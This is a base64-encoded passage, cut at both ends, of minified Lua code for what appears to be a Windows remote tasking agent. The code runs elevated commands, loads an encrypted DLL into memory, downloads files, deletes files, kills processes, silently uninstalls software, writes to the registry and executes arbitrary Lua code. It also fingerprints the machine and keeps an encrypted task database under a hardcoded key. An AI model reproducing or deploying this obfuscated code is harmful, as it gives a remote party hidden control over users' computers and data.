IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
